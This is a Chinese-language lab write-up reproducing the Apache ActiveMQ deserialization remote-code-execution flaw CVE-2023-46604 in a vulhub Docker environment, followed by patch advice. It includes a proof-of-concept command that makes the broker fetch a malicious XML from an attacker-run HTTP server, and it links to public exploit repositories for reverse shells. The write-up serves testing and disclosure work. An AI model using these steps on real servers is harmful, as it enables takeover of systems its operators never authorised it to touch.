ActiveMQ反序列化RCE漏洞复现与验证(CVE-2023-46604)

一、漏洞描述

  Apache ActiveMQ 中存在远程代码执行漏洞,攻击者可构造恶意请求通过Apache ActiveMQ的61616端口,发送恶意数据导致远程代码执行,从而完全控制Apache ActiveMQ服务器。

二、受影响版本

Apache ActiveMQ < 5.18.3
Apache ActiveMQ < 5.17.6
Apache ActiveMQ < 5.16.7
Apache ActiveMQ < 5.15.16

三、环境搭建

git clone https://github.com/vulhub/vulhub.git
cd vulhub/activemq/CVE-2023-46604
docker-compose up -d

fc32e8b3e10b9b2ed8d7122b068768b9.png

四、漏洞复现

1、查看文件

1fb4feefde65de0716b741e4458e5fc8.png

2、启动一个http.server反连服务器

python3 -m http.server 8888

268d2034b615110cfd872de907dba2ac.png

3、复现

python3 poc.py 127.0.0.1 61616 http://192.168.20.54:8888/poc.xml

4、验证

2742b7c2627e6a7dc1d3b54c8caf9007.png

5、其它exp,可以反弹连接,取得shell

https://github.com/X1r0z/ActiveMQ-RCE
https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ
https://github.com/Arlenhiack/ActiveMQ-RCE-Exploit

五、修复建议

建议更新到安全版本

Apache ActiveMQ >= 5.18.3
Apache ActiveMQ >= 5.17.6
Apache ActiveMQ >= 5.16.7